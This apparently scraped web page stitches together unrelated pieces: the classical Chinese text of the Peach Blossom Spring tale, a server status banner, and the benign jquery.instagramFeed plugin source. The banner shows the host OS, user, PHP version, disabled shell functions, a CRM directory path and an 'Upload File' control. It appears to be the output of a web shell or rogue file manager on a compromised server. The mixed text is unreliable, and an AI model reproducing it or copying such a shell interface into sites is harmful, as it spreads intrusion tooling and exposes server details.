晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/layouts/v7/modules/ParsVT/resources/instagramFeed/ |
Upload File : |
/*!
* jquery.instagramFeed
*
* @version 1.1.3
*
* @author Javier Sanahuja Liebana <bannss1@gmail.com>
* @contributor csanahuja <csanahuja@gmail.com>
*
* https://github.com/jsanahuja/jquery.instagramFeed
*
*/
(function($){
var defaults = {
'host': "https://www.instagram.com/",
'username': '',
'container': '',
'display_profile': true,
'display_biography': true,
'display_gallery': true,
'display_igtv': false,
'get_raw_json': false,
'callback': null,
'styling': true,
'items': 12,
'items_per_row': 4,
'margin': 0.5,
'image_size': 150
};
$.instagramFeed = function(options){
options = $.fn.extend({}, defaults, options);
if(options.username == ""){
console.error("Instagram Feed: Error, no username found.");
return;
}
if(!options.get_raw_json && options.container == ""){
console.error("Instagram Feed: Error, no container found.");
return;
}
if(options.get_raw_json && options.callback == null){
console.error("Instagram Feed: Error, no callback defined to get the raw json");
return;
}
$.get(options.host + options.username, function(data){
data = data.split("window._sharedData = ");
data = data[1].split("<\/script>");
data = data[0];
data = data.substr(0, data.length - 1);
data = JSON.parse(data);
data = data.entry_data.ProfilePage[0].graphql.user;
if(options.get_raw_json){
options.callback(
JSON.stringify({
id: data.id,
username: data.username,
full_name: data.full_name,
is_private: data.is_private,
is_verified: data.is_verified,
biography: data.biography,
followed_by: data.edge_followed_by.count,
following: data.edge_follow.count,
images: data.edge_owner_to_timeline_media.edges,
igtv: data.edge_felix_video_timeline.edges
})
);
return;
}
var styles = {
'profile_container': "",
'profile_image': "",
'profile_name': "",
'profile_biography': "",
'gallery_image': ""
};
if(options.styling){
styles.profile_container = " style='text-align:center;'";
styles.profile_image = " style='border-radius:10em;width:15%;max-width:125px;min-width:50px;'";
styles.profile_name = " style='font-size:1.2em;'";
styles.profile_biography = " style='font-size:1em;'";
var width = (100 - options.margin * 2 * options.items_per_row)/options.items_per_row;
styles.gallery_image = " style='margin:"+options.margin+"% "+options.margin+"%;width:"+width+"%;float:left;'";
}
var html = "";
if(options.display_profile){
html += "<div class='instagram_profile'" +styles.profile_container +">";
html += " <img class='instagram_profile_image' src='"+ data.profile_pic_url +"' alt='"+ options.username +" profile pic'"+ styles.profile_image +" />";
html += " <p class='instagram_username'"+ styles.profile_name +">@"+ data.full_name +" (<a href='https://www.instagram.com/"+ options.username +"'>@"+options.username+"</a>)</p>";
}
if(options.display_biography){
html += " <p class='instagram_biography'"+ styles.profile_biography +">"+ data.biography +"</p>";
}
if(options.display_profile){
html += "</div>";
}
var image_index = 4
if(options.image_size !== 640){
switch (options.image_size) {
case 150:
image_index = 0;
break;
case 240:
image_index = 1;
break;
case 320:
image_index = 2;
break;
case 480:
image_index = 3;
break;
default:
console.warn("Wrong image size. Getting default value. Accepted values are [150, 240, 320, 480, 640]");
}
}
if(options.display_gallery){
if(data.is_private){
html += "<p class='instagram_private'><strong>This profile is private</strong></p>";
}else{
var imgs = data.edge_owner_to_timeline_media.edges;
max = (imgs.length > options.items) ? options.items : imgs.length;
html += "<div class='instagram_gallery'>";
for(var i = 0; i < max; i++){
var url = "https://www.instagram.com/p/" + imgs[i].node.shortcode;
var image = imgs[i].node.thumbnail_resources[image_index].src
var type_resource = "image"
switch(imgs[i].node.__typename){
case "GraphSidecar":
type_resource = "sidecar"
break;
case "GraphVideo":
type_resource = "video";
image = imgs[i].node.thumbnail_src
break;
default:
type_resource = "image";
}
html += "<a href='" + url +"' class='instagram-" + type_resource + "' rel='noopener' target='_blank'>";
html += " <img src='" + image + "' alt='" + options.username + " instagram image "+ i + "'" + styles.gallery_image +" />";
html += "</a>";
}
html += "</div>";
}
}
if(options.display_igtv){
if(data.is_private){
html += "<p class='instagram_private'><strong>This profile is private</strong></p>";
}else{
var igtv = data.edge_felix_video_timeline.edges,
max = (igtv.length > options.items) ? options.items : igtv.length
html += "<div class='instagram_igtv'>";
for(var i = 0; i < max; i++){
var url = "https://www.instagram.com/p/"+ igtv[i].node.shortcode;
html += "<a href='"+url+"' rel='noopener' target='_blank'>";
html += " <img src='"+ igtv[i].node.thumbnail_src +"' alt='"+ options.username +" instagram image "+ i+"'"+styles.gallery_image+" />";
html += "</a>";
}
html += "</div>";
}
}
$(options.container).html(html);
}
);
};
})(jQuery);